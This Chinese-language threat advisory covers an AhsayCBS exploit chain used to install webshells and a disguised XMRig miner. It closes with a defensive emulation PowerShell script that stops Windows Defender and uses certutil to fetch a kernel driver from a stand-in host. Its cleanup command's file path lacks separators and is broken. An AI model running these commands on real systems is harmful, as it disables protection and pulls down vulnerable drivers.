威胁行为者利用AhsayCBS关键漏洞植入Webshells和XMRig加密矿工

摘要

威胁行为者正在利用 AhsayCBS 备份软件中的两个关键漏洞来实现未经认证的远程代码执行。取得访问权限后，攻击者部署 JSP Webshell 并安装伪装成 Microsoft Edge 进程的 XMRig 挖矿程序。该活动还使用了一种由 AI 辅助的 PowerShell 脚本，旨在通过监控和干扰 Windows 任务管理器来躲避检测。

调查

Huntress 识别出一个结合了 CVE-2026-105133 和 CVE-2026-105134 的利用链，用于身份验证绕过和远程代码执行。研究人员观察到一个被重新命名为 msedge.exe 的 NSSM 工具和用于提供低级硬件访问的易受攻击的 WinRing0x64.sys 内核驱动程序。在利用后活动中，还创建了一个名为 MicrosoftEdgeUpdateSvc 的恶意 Windows 服务。

缓解措施

运行 AhsayCBS 版本至 10.3.4 的组织应立即限制对管理界面的访问，仅限于受信任的 IP 地址或 VPN 连接。一旦供应商发布安全更新就应立即应用。管理员还应监控从 AhsayCBS 服务可执行文件启动的可疑子进程。

响应措施

如检测到入侵指示器，组织应从受信任的备份中进行完整的主机重新镜像，以消除潜在的二次后门。调查未经授权的 Windows 服务和存储在临时目录中的可疑文件。检查网络遥测，以发现连接到已知的加密货币挖矿池或阿里云 OSS 托管基础设施的情况。

模拟执行

• 攻击叙述及命令： 对手成功利用了 AhsayCBS 服务。为了保持持久性并部署挖矿程序，他们首先从 cbssvcX64.exe 进程运行命令行。为了躲避检测，他们启动了一个名为 msedge.exe 的进程，使用 --daemonized 参数，使其看起来像一个合法的后台浏览器进程。然后，他们使用 PowerShell 停止安全服务（通过脚本块模拟）。最后，他们使用 certutil.exe 下载 WinRing0x64.sys，这是用于为其挖矿负载实现低级系统访问的驱动程序。

• 回归测试脚本：

  # AhsayCBS 利用后的模拟脚本
  # 注意：此脚本通过模拟进程层次结构和命令行来模拟行为。
  
  # 1. 模拟 AhsayCBS 生成 cmd.exe（需要在真实日志中特定的进程父子关系）
  # 出于模拟目的，我们将使用子进程方法。
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo AhsayCBS Simulation" -PassThru
  
  # 2. 模拟伪装的 Edge 守护进程
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. 模拟恶意 PowerShell 脚本块
  $maliciousScript = {
      Write-Host "尝试禁用防御..."
      Stop-Service -Name "WinDefend" -Force
      # 模拟与任务管理器的交互
      $taskManager = "任务管理器"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. 模拟 Certutil 驱动下载
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• 清理命令：

  # 清理：终止模拟的进程并移除任何下载的工件。
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue